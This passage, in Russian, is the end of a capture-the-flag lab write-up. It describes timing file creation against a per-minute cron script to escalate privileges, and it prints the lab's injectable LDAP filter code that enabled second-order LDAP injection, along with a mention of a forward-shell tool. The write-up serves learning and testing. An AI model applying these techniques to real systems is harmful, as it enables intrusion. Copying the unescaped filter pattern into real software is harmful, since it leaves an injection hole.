[ldapuser@ctf backup]$ ls -ld /var/www//html/uploads
drwxr-x--x. 2 apache apache 6 Aug 16 16:12 /var/www//html/uploads
Мы уже выяснили ранее, что скрипт honeypod.sh отрабатывает каждую минуту. Так как, скорее всего, задача выполняет по планировщику cron, то отсчет ведется с каждым началом новой минуты, поэтому нам нужно создать 2 требуемых для эксплуатации файла, уложившись в окно с :00
по :59
. Проверим время и создадим нужные файлы.
Я закончил создание файлов в 16:11:47
, уложившись в окно с 16:11:00
по 16:11:59
. Через 13 секунд после этого, следя за логом ошибок с помощью tail -f
из SSH-сессии, я получил свое сокровище.
CTF пройден
Эпилог
Оригинальные LDAP-запросы
Получив доступ к файловой системе, я смог посмотреть, как выглят орингинальные LDAP-запросы, о структуре которых мы выдвигали столько предположений. Первый LDAP-запрос из исходников login.php
.
$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2))(pager=*))";
// Или более наглядно
(&
(&
(objectClass=inetOrgPerson)
(uid=$username2)
)
(pager=*)
)
Второй — из исходников page.php
. Именно переменная username2
, подконтрольная пользователю веб-ресурса, дала нам возможность провести LDAP-инъекцию второго порядка.
$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2)(|(gidNumber=4)(gidNumber=0)))(pager=*))";
// Или более наглядно
(&
(&
(objectClass=inetOrgPerson)
(uid=$username2)
(|
(gidNumber=4)
(gidNumber=0)
)
)
(pager=*)
)
FwdSh3ll
Я создал отдельную ветку для FwdSh3ll с целью демонстрации управления этой машиной, так как из-за того, что здесь нет уязвимости как таковой (у нас просто есть «легальная» форма для ввода команд), последовали небольшие изменения в коде. И хотя в данном случае я не использую концепцию Forward Shell в чистом виде (в этом просто нет необходимости), этот фреймворк позволил мне с комфортом исследовать виртуалку из терминала — в точности как если бы я получил каноничный шелл.